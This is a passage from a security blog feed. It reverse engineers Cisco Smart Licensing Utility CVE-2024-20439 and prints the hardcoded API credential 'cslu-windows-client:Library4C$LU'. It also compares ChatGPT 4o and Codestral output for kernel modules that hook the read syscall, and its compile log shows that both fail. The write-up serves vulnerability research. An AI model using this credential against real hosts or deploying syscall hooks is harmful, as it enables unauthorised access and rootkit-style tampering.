<p><a href="/pdf/Voice%20Cloning%20-%20Techniques%20and%20Technologies.pdf">Voice Cloning</a></p>]]></content><author><name>Nicholas Starke</name></author><category term="pdf" /><category term="slides" /><summary type="html"><![CDATA[I recently exported all my slide decks from presentations I’ve given over the last 12 years.]]></summary></entry><entry><title type="html">CVE Wednesday - CVE-2024-20439</title><link href="https://starkeblog.com/cve-wednesday/cisco/2024/09/20/cve-wednesday-cve-2024-20439.html" rel="alternate" type="text/html" title="CVE Wednesday - CVE-2024-20439" /><published>2024-09-20T06:00:00+00:00</published><updated>2024-09-20T06:00:00+00:00</updated><id>https://starkeblog.com/cve-wednesday/cisco/2024/09/20/cve-wednesday-cve-2024-20439</id><content type="html" xml:base="https://starkeblog.com/cve-wednesday/cisco/2024/09/20/cve-wednesday-cve-2024-20439.html"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>Cisco recently released an advisory for CVE-2024-20439 <a href="https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cslu-7gHMzWmw">here</a>. (<a href="https://nvd.nist.gov/vuln/detail/CVE-2024-20439">nvd</a>) <strong>Please note I did not discover this vulnerability, I just reverse engineered the vulnerability from the advisory</strong></p>

<p><img src="/images/09202024/cslu-screenshot.png" alt="" /></p>

<p>This vulnerability is a hardcoded static password that can be used to access licensing data in Cisco Smart Licensing Utility. Cisco Smart Licensing Utility can be downloaded from Cisco <a href="https://software.cisco.com/download/home/286285506/type/286327971/release/2.3.0">here</a></p>

<p>I downloaded all versions and did some snooping around looking for the hard coded password. I wanted to figure out what the hard coded password is as well as to assess the impact of the vulnerability.</p>

<p><strong>tl;dr:</strong> The password is <code class="language-plaintext highlighter-rouge">Library4C$LU</code>.</p>

<h2 id="target-application">Target Application</h2>

<p>The target software application can be downloaded for Windows or Linux.  I downloaded the <code class="language-plaintext highlighter-rouge">.deb</code> installer file for Linux and extracted the contents using the <code class="language-plaintext highlighter-rouge">ar vx $FILENAME</code> command.</p>

<p>The Cisco Smart Licensing Utility is an electron application built on top of a REST API that is written in golang.  The REST API runs in a different process, but it runs on the same host as the Electron application.  The electron application makes HTTP requests to localhost for its state changing data operations.  The REST API listens on all network interfaces by default.</p>

<p><img src="/images/09202024/process-listening.png" alt="" /></p>

<p>I used a Ghidra Golang Extension (available <a href="https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension">here</a>) to make sense of the <code class="language-plaintext highlighter-rouge">cslu-api</code> binary.</p>

<h2 id="electron-component">Electron Component</h2>

<p>Inside the installer .deb file is <code class="language-plaintext highlighter-rouge">resources/app.asar</code>.  An <code class="language-plaintext highlighter-rouge">.asar</code> file is an electron archive, and it can be extracted using the command <code class="language-plaintext highlighter-rouge">npx @electron/asar extract $ASAR_FILE_PATH .</code>.</p>

<p>Inside the .asar file is <code class="language-plaintext highlighter-rouge">ServicePools/APIClient.js</code>:</p>

<p>Version <code class="language-plaintext highlighter-rouge">2.2.0</code>:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="dl">"</span><span class="s2">use strict</span><span class="dl">"</span><span class="p">;</span>
<span class="nb">Object</span><span class="p">.</span><span class="nx">defineProperty</span><span class="p">(</span><span class="nx">exports</span><span class="p">,</span> <span class="dl">"</span><span class="s2">__esModule</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span> <span class="na">value</span><span class="p">:</span> <span class="kc">true</span> <span class="p">});</span>
<span class="kd">var</span> <span class="nx">axios_1</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">axios</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">https</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">https</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">rxjs_1</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">rxjs</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">APIClient</span> <span class="o">=</span> <span class="cm">/** @class */</span> <span class="p">(</span><span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
    <span class="kd">function</span> <span class="nx">APIClient</span><span class="p">(</span><span class="nx">config</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">this</span><span class="p">.</span><span class="nx">protocol</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">http</span><span class="dl">"</span><span class="p">;</span>
        <span class="k">this</span><span class="p">.</span><span class="nx">apiHost</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">localhost</span><span class="dl">"</span><span class="p">;</span>
        <span class="k">this</span><span class="p">.</span><span class="nx">apiPort</span> <span class="o">=</span> <span class="mi">4596</span><span class="p">;</span>
        <span class="k">this</span><span class="p">.</span><span class="nx">apiEndpointPath</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">/cslu/v1</span><span class="dl">"</span><span class="p">;</span>
        <span class="k">this</span><span class="p">.</span><span class="nx">basicAuthUserName</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">cslu-windows-client</span><span class="dl">"</span><span class="p">;</span>
        <span class="k">this</span><span class="p">.</span><span class="nx">basicAuthPassword</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">Library4C$LU</span><span class="dl">"</span><span class="p">;</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!!</span><span class="nx">APIClient</span><span class="p">.</span><span class="nx">getInstance</span><span class="p">())</span> <span class="p">{</span>
            <span class="k">return</span> <span class="nx">APIClient</span><span class="p">.</span><span class="nx">getInstance</span><span class="p">();</span>
        <span class="p">}</span>
        <span class="p">[...]</span>
</code></pre></div></div>

<p>Version 2.3.0:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="dl">"</span><span class="s2">use strict</span><span class="dl">"</span><span class="p">;</span>
<span class="nb">Object</span><span class="p">.</span><span class="nx">defineProperty</span><span class="p">(</span><span class="nx">exports</span><span class="p">,</span> <span class="dl">"</span><span class="s2">__esModule</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span> <span class="na">value</span><span class="p">:</span> <span class="kc">true</span> <span class="p">});</span>
<span class="kd">var</span> <span class="nx">axios_1</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">axios</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">https</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">https</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">rxjs_1</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">rxjs</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">APIClient</span> <span class="o">=</span> <span class="cm">/** @class */</span> <span class="p">(</span><span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
    <span class="kd">function</span> <span class="nx">APIClient</span><span class="p">(</span><span class="nx">config</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">this</span><span class="p">.</span><span class="nx">protocol</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">http</span><span class="dl">"</span><span class="p">;</span>
        <span class="k">this</span><span class="p">.</span><span class="nx">apiHost</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">localhost</span><span class="dl">"</span><span class="p">;</span>
        <span class="k">this</span><span class="p">.</span><span class="nx">apiPort</span> <span class="o">=</span> <span class="mi">8180</span><span class="p">;</span>
        <span class="k">this</span><span class="p">.</span><span class="nx">apiEndpointPath</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">/cslu/v1</span><span class="dl">"</span><span class="p">;</span> 
        <span class="k">this</span><span class="p">.</span><span class="nx">basicAuthUserName</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">cslu-windows-client</span><span class="dl">"</span><span class="p">;</span>
        <span class="k">this</span><span class="p">.</span><span class="nx">basicAuthPassword</span> <span class="o">=</span> <span class="dl">""</span><span class="p">;</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!!</span><span class="nx">APIClient</span><span class="p">.</span><span class="nx">getInstance</span><span class="p">())</span> <span class="p">{</span>
            <span class="k">return</span> <span class="nx">APIClient</span><span class="p">.</span><span class="nx">getInstance</span><span class="p">();</span>
        <span class="p">}</span>
        <span class="k">else</span> <span class="p">{</span>
            <span class="k">this</span><span class="p">.</span><span class="nx">createNewAxiosInstance</span><span class="p">(</span><span class="nx">config</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="p">[...]</span>
</code></pre></div></div>

<p>We can see the credentials are <code class="language-plaintext highlighter-rouge">cslu-windows-client:Library4C$LU</code> and that the REST API uses HTTP Basic Authentication.</p>

<h2 id="api-application">API Application</h2>

<p>The API application binary lives in <code class="language-plaintext highlighter-rouge">resources/API-BINARIES/cslu-api</code>. This is the Golang binary.</p>

<p>Version <code class="language-plaintext highlighter-rouge">2.2.0</code>:</p>

<p><img src="/images/09202024/ghidra-admin-passwd.png" alt="" /></p>

<p>Version <code class="language-plaintext highlighter-rouge">2.3.0</code> of this function is simplified from <code class="language-plaintext highlighter-rouge">2.2.0</code> shown above and does not include the password string.  Likewise, grepping through the extracted contents of both the .deb and .asar files for version <code class="language-plaintext highlighter-rouge">2.3.0</code> indicates that particular string is not present in this new version.</p>

<p>The Ghidra Extension simplifies the decompilation output for the admin password to <code class="language-plaintext highlighter-rouge">gitscm.cisco.com/dlo/cslu/core.csluConfig.AdminPass</code>.  It is easier to see the admin password string value in the disassembly output instead.</p>

<h2 id="analysis">Analysis</h2>

<p>This is a particularly nasty vulnerability because the <code class="language-plaintext highlighter-rouge">cslu-api</code> process listens on all network interfaces.  That means an attacker who can access the host machine over the network can make authenticated web requests to the API using this well known password on vulnerable versions.</p>

<p>Versions <code class="language-plaintext highlighter-rouge">2.0.0</code> and <code class="language-plaintext highlighter-rouge">2.1.0</code> use the same credentials as <code class="language-plaintext highlighter-rouge">2.2.0</code>.</p>

<h2 id="next-steps">Next Steps</h2>

<p>I didn’t go much further in analyzing the REST API and the underlying data store that is accessible through the REST API.  It looks like the application stores inventory and associated license data.  Next steps could be writing a tool (or metasploit module) that uses the credentials to dump data from a vulnerable instance.</p>]]></content><author><name>Nicholas Starke</name></author><category term="cve-wednesday" /><category term="cisco" /><summary type="html"><![CDATA[Introduction]]></summary></entry><entry><title type="html">Chat GPT 4o vs. Codestral for Linux Kernel Modules</title><link href="https://starkeblog.com/generativeai/2024/06/15/chatgpt-4o-vs-codestral-for-linux-kernel-modules.html" rel="alternate" type="text/html" title="Chat GPT 4o vs. Codestral for Linux Kernel Modules" /><published>2024-06-15T06:00:00+00:00</published><updated>2024-06-15T06:00:00+00:00</updated><id>https://starkeblog.com/generativeai/2024/06/15/chatgpt-4o-vs-codestral-for-linux-kernel-modules</id><content type="html" xml:base="https://starkeblog.com/generativeai/2024/06/15/chatgpt-4o-vs-codestral-for-linux-kernel-modules.html"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>I’ve been working a lot with locally hosted generative AI using <a href="https://github.com/oobabooga/text-generation-webui">Text Generation WebUI</a> and decided to do an experiment to compare the results of OpenAI hosted <a href="https://openai.com/chatgpt/">ChatGPT 4o</a> with <a href="https://mistral.ai/news/codestral/">Codestral</a> (<a href="https://huggingface.co/MaziyarPanahi/Codestral-22B-v0.1-GGUF">GGUF Version</a>) for generating Linux Kernel Module C Code.</p>

<p>I submitted the same prompt to both services and then tried to compile and inject the Kernel Module in Ubuntu 24.04/22.04 Server hosts. The results are below.</p>

<h2 id="specs-for-local-llm-server">Specs for Local LLM Server</h2>

<p>I used a high-end gaming PC to run the Codestral-GGUF model.  Specs are:</p>

<ul>
  <li>i9-14900f CPU</li>
  <li>192GB DDR5 RAM</li>
  <li>1x 4090 GPU</li>
  <li>2 TB NVM.e drive</li>
</ul>

<h2 id="the-prompt">The Prompt</h2>

<p>The prompt I chose to use i:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>generate the source code and makefile for a linux kernel module that replaces the read system call handler with a handler that returns the string "starkeblog" for all file reads.
</code></pre></div></div>

<h2 id="analysis">Analysis</h2>

<p>The first obvious difference is the time it takes to render the output. The ChatGPT server generated the output in less than 5 seconds whereas the locally hosted Codestral-GGUF took about 15 minutes.</p>

<p>Neither model was able to generate C code that compiled and linked properly.  It’s worth noting that the <code class="language-plaintext highlighter-rouge">sys_close</code> symbol is not exported in 5.x and 6.x kernel versions. Both outputs relied on the <code class="language-plaintext highlighter-rouge">sys_close</code> symbol denoting the first system call in the system call table. I’m sure the code could be adjusted to look for the proper first system call symbol, but the user would need to know beforehand what that symbol is.</p>

<p>I did like how the ChatGPT response included code to enable writes to the system call table.  The Codestral output did not include these lines.</p>

<p>In the end, neither technology produces useable results on recent kernel versions, but they do give a decent idea of how to work with syscall hooking generally speaking, and may even work in older versions of the Linux Kernel.</p>

<h2 id="chatgpt-4o-output">ChatGPT 4o Output</h2>

<p>Creating a Linux kernel module to replace the read system call handler is an advanced task that involves modifying kernel behavior. This example will demonstrate how to replace the read system call to always return the string “starkeblog” for all file reads.</p>

<h3 id="warning">Warning</h3>
<p>Modifying system calls is inherently risky and can make the system unstable or unusable. Use this code at your own risk, preferably in a virtual machine or a controlled environment.</p>

<h3 id="kernel-module-code">Kernel Module Code</h3>

<p>First, create a file named <code class="language-plaintext highlighter-rouge">syscall_replace.c</code> with the following content:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;linux/module.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/kernel.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/syscalls.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/uaccess.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/fs.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/slab.h&gt;</span><span class="cp">
</span>
<span class="n">MODULE_LICENSE</span><span class="p">(</span><span class="s">"GPL"</span><span class="p">);</span>
<span class="n">MODULE_AUTHOR</span><span class="p">(</span><span class="s">"OpenAI ChatGPT"</span><span class="p">);</span>
<span class="n">MODULE_DESCRIPTION</span><span class="p">(</span><span class="s">"Kernel module to replace read system call handler with a custom handler"</span><span class="p">);</span>
<span class="n">MODULE_VERSION</span><span class="p">(</span><span class="s">"1.0"</span><span class="p">);</span>

<span class="cp">#define MY_STRING "starkeblog"
#define MY_STRING_LEN (sizeof(MY_STRING) - 1)
</span>
<span class="k">static</span> <span class="n">asmlinkage</span> <span class="nf">ssize_t</span> <span class="p">(</span><span class="o">*</span><span class="n">original_sys_read</span><span class="p">)(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="n">__user</span> <span class="o">*</span><span class="p">,</span> <span class="kt">size_t</span><span class="p">);</span>

<span class="k">static</span> <span class="n">asmlinkage</span> <span class="kt">ssize_t</span> <span class="nf">custom_sys_read</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">char</span> <span class="n">__user</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">count</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">ssize_t</span> <span class="n">ret</span><span class="p">;</span>
    
    <span class="k">if</span> <span class="p">(</span><span class="n">count</span> <span class="o">&lt;</span> <span class="n">MY_STRING_LEN</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span> <span class="c1">// Invalid argument if buffer is too small</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">copy_to_user</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">MY_STRING</span><span class="p">,</span> <span class="n">MY_STRING_LEN</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">return</span> <span class="o">-</span><span class="n">EFAULT</span><span class="p">;</span> <span class="c1">// Bad address error if copy_to_user fails</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="n">MY_STRING_LEN</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">**</span><span class="nf">find_sys_call_table</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">offset</span><span class="p">;</span>
    <span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">**</span><span class="n">sct</span><span class="p">;</span>

    <span class="k">for</span> <span class="p">(</span><span class="n">offset</span> <span class="o">=</span> <span class="n">PAGE_OFFSET</span><span class="p">;</span> <span class="n">offset</span> <span class="o">&lt;</span> <span class="n">ULLONG_MAX</span><span class="p">;</span> <span class="n">offset</span> <span class="o">+=</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">sct</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">**</span><span class="p">)</span><span class="n">offset</span><span class="p">;</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">sct</span><span class="p">[</span><span class="n">__NR_close</span><span class="p">]</span> <span class="o">==</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">*</span><span class="p">)</span> <span class="n">sys_close</span><span class="p">)</span>
            <span class="k">return</span> <span class="n">sct</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">**</span><span class="n">sys_call_table</span><span class="p">;</span>

<span class="k">static</span> <span class="kt">int</span> <span class="n">__init</span> <span class="nf">syscall_replace_init</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">sys_call_table</span> <span class="o">=</span> <span class="n">find_sys_call_table</span><span class="p">()))</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>

    <span class="n">write_cr0</span><span class="p">(</span><span class="n">read_cr0</span><span class="p">()</span> <span class="o">&amp;</span> <span class="p">(</span><span class="o">~</span><span class="mh">0x10000</span><span class="p">));</span>
    <span class="n">original_sys_read</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">sys_call_table</span><span class="p">[</span><span class="n">__NR_read</span><span class="p">];</span>
    <span class="n">sys_call_table</span><span class="p">[</span><span class="n">__NR_read</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="n">custom_sys_read</span><span class="p">;</span>
    <span class="n">write_cr0</span><span class="p">(</span><span class="n">read_cr0</span><span class="p">()</span> <span class="o">|</span> <span class="mh">0x10000</span><span class="p">);</span>

    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"Custom read system call loaded.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="n">__exit</span> <span class="nf">syscall_replace_exit</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">sys_call_table</span><span class="p">)</span>
        <span class="k">return</span><span class="p">;</span>

    <span class="n">write_cr0</span><span class="p">(</span><span class="n">read_cr0</span><span class="p">()</span> <span class="o">&amp;</span> <span class="p">(</span><span class="o">~</span><span class="mh">0x10000</span><span class="p">));</span>
    <span class="n">sys_call_table</span><span class="p">[</span><span class="n">__NR_read</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="n">original_sys_read</span><span class="p">;</span>
    <span class="n">write_cr0</span><span class="p">(</span><span class="n">read_cr0</span><span class="p">()</span> <span class="o">|</span> <span class="mh">0x10000</span><span class="p">);</span>

    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"Custom read system call unloaded.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>

<span class="n">module_init</span><span class="p">(</span><span class="n">syscall_replace_init</span><span class="p">);</span>
<span class="n">module_exit</span><span class="p">(</span><span class="n">syscall_replace_exit</span><span class="p">);</span>
</code></pre></div></div>

<h3 id="makefile">Makefile</h3>

<p>Next, create a file named <code class="language-plaintext highlighter-rouge">Makefile</code> in the same directory with the following content:</p>

<div class="language-makefile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">obj-m</span> <span class="o">+=</span> syscall_replace.o

<span class="nl">all</span><span class="o">:</span>
	make <span class="nt">-C</span> /lib/modules/<span class="nf">$(</span><span class="nb">shell</span> <span class="nb">uname</span> <span class="nt">-r</span><span class="nf">)</span>/build <span class="nv">M</span><span class="o">=</span><span class="nv">$(PWD)</span> modules

<span class="nl">clean</span><span class="o">:</span>
	make <span class="nt">-C</span> /lib/modules/<span class="nf">$(</span><span class="nb">shell</span> <span class="nb">uname</span> <span class="nt">-r</span><span class="nf">)</span>/build <span class="nv">M</span><span class="o">=</span><span class="nv">$(PWD)</span> clean
</code></pre></div></div>

<h3 id="compiling-and-testing">Compiling and Testing</h3>

<ol>
  <li><strong>Compile the Kernel Module</strong>:
Open a terminal in the directory containing <code class="language-plaintext highlighter-rouge">syscall_replace.c</code> and <code class="language-plaintext highlighter-rouge">Makefile</code>, then run:
    <div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>make
</code></pre></div>    </div>
  </li>
  <li><strong>Insert the Kernel Module</strong>:
After compiling, insert the module with:
    <div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>insmod syscall_replace.ko
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Test the Module</strong>:
Open a file and try to read from it. You should see “starkeblog” instead of the actual file content.</p>
  </li>
  <li><strong>Remove the Kernel Module</strong>:
To remove the module and restore the original read system call, run:
    <div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>rmmod syscall_replace
</code></pre></div>    </div>
  </li>
</ol>

<h3 id="notes">Notes</h3>
<ul>
  <li>This code is for educational purposes and should be used with caution.</li>
  <li>Always backup your data and test in a non-critical environment.</li>
  <li>The kernel version and configuration may affect the success of this module. Adjustments might be necessary.</li>
</ul>

<h2 id="codestral-output">Codestral Output</h2>

<p>Here is an example of a simple Linux kernel module that replaces the system call handler for the ‘read’ system call. This module is named ‘read_override.c’ and can be compiled with a makefile. Note that this is a very basic example and does not handle errors or edge cases. It’s also important to note that modifying the behavior of the ‘read’ system call can have serious consequences, so please use this code responsibly.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// read_override.c</span>
<span class="cp">#include</span> <span class="cpf">&lt;linux/module.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;asm/uaccess.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/uaccess.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/sched.h&gt;</span><span class="cp">
</span>
<span class="n">asmlinkage</span> <span class="nf">ssize_t</span> <span class="p">(</span><span class="o">*</span><span class="n">original_read</span><span class="p">)(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="n">__user</span> <span class="o">*</span><span class="p">,</span> <span class="kt">size_t</span><span class="p">,</span> <span class="n">loff_t</span> <span class="o">*</span><span class="p">);</span>

<span class="n">asmlinkage</span> <span class="kt">ssize_t</span> <span class="nf">custom_read</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">file</span><span class="p">,</span> <span class="kt">char</span> <span class="n">__user</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">count</span><span class="p">,</span> <span class="n">loff_t</span> <span class="o">*</span><span class="n">offset</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">str</span> <span class="o">=</span> <span class="s">"starkeblog"</span><span class="p">;</span>
    <span class="kt">size_t</span> <span class="n">len</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">str</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">copy_to_user</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">str</span><span class="p">,</span> <span class="n">len</span><span class="p">))</span>
        <span class="k">return</span> <span class="o">-</span><span class="n">EFAULT</span><span class="p">;</span>

    <span class="k">return</span> <span class="n">len</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="n">__init</span> <span class="nf">init_module</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">original_read</span> <span class="o">=</span> <span class="n">sys_call_table</span><span class="p">[</span><span class="n">__NR_read</span><span class="p">];</span>
    <span class="n">sys_call_table</span><span class="p">[</span><span class="n">__NR_read</span><span class="p">]</span> <span class="o">=</span> <span class="n">custom_read</span><span class="p">;</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="n">__exit</span> <span class="nf">exit_module</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">sys_call_table</span><span class="p">[</span><span class="n">__NR_read</span><span class="p">]</span> <span class="o">=</span> <span class="n">original_read</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">module_init</span><span class="p">(</span><span class="n">init_module</span><span class="p">);</span>
<span class="n">module_exit</span><span class="p">(</span><span class="n">exit_module</span><span class="p">);</span>

<span class="n">MODULE_LICENSE</span><span class="p">(</span><span class="s">"GPL"</span><span class="p">);</span>
<span class="n">MODULE_AUTHOR</span><span class="p">(</span><span class="s">"Your Name"</span><span class="p">);</span>
<span class="n">MODULE_DESCRIPTION</span><span class="p">(</span><span class="s">"Read override module"</span><span class="p">);</span>
</code></pre></div></div>

<p>Here is a simple makefile to compile this module:</p>

<div class="language-makefile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Makefile
</span><span class="nv">obj-m</span> <span class="o">+=</span> read_override.o

<span class="nl">all</span><span class="o">:</span>
	make <span class="nt">-C</span> /lib/modules/<span class="nf">$(</span><span class="nb">shell</span> <span class="nb">uname</span> <span class="nt">-r</span><span class="nf">)</span>/build <span class="nv">M</span><span class="o">=</span><span class="nv">$(PWD)</span> modules

<span class="nl">clean</span><span class="o">:</span>
	make <span class="nt">-C</span> /lib/modules/<span class="nf">$(</span><span class="nb">shell</span> <span class="nb">uname</span> <span class="nt">-r</span><span class="nf">)</span>/build <span class="nv">M</span><span class="o">=</span><span class="nv">$(PWD)</span> clean
</code></pre></div></div>

<p>You can compile this module using the following commands:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>make
<span class="nv">$ </span><span class="nb">sudo </span>insmod read_override.ko
</code></pre></div></div>

<p>And to remove the module:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>rmmod read_override
<span class="nv">$ </span>make clean
</code></pre></div></div>

<h2 id="chatgpt-4o-make-output">ChatGPT 4o Make Output</h2>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>make <span class="nt">-C</span> /lib/modules/6.8.0-35-generic/build <span class="nv">M</span><span class="o">=</span>/home/nick/chatgpt modules
make[1]: Entering directory <span class="s1">'/usr/src/linux-headers-6.8.0-35-generic'</span>
warning: the compiler differs from the one used to build the kernel
  The kernel was built by: x86_64-linux-gnu-gcc-13 <span class="o">(</span>Ubuntu 13.2.0-23ubuntu4<span class="o">)</span> 13.2.0
  You are using:           gcc-13 <span class="o">(</span>Ubuntu 13.2.0-23ubuntu4<span class="o">)</span> 13.2.0
  CC <span class="o">[</span>M]  /home/nick/chatgpt/syscall_replace.o
/home/nick/chatgpt/syscall_replace.c: In <span class="k">function</span> ‘custom_sys_read’:
/home/nick/chatgpt/syscall_replace.c:19:13: warning: unused variable ‘ret’ <span class="o">[</span><span class="nt">-Wunused-variable</span><span class="o">]</span>
   19 |     ssize_t ret<span class="p">;</span>
      |             ^~~
/home/nick/chatgpt/syscall_replace.c: In <span class="k">function</span> ‘find_sys_call_table’:
/home/nick/chatgpt/syscall_replace.c:39:50: error: ‘sys_close’ undeclared <span class="o">(</span>first use <span class="k">in </span>this <span class="k">function</span><span class="o">)</span>
   39 |         <span class="k">if</span> <span class="o">(</span>sct[__NR_close] <span class="o">==</span> <span class="o">(</span>unsigned long <span class="k">*</span><span class="o">)</span> sys_close<span class="o">)</span>
      |                                                  ^~~~~~~~~
/home/nick/chatgpt/syscall_replace.c:39:50: note: each undeclared identifier is reported only once <span class="k">for </span>each <span class="k">function </span>it appears <span class="k">in
</span>make[3]: <span class="k">***</span> <span class="o">[</span>scripts/Makefile.build:243: /home/nick/chatgpt/syscall_replace.o] Error 1
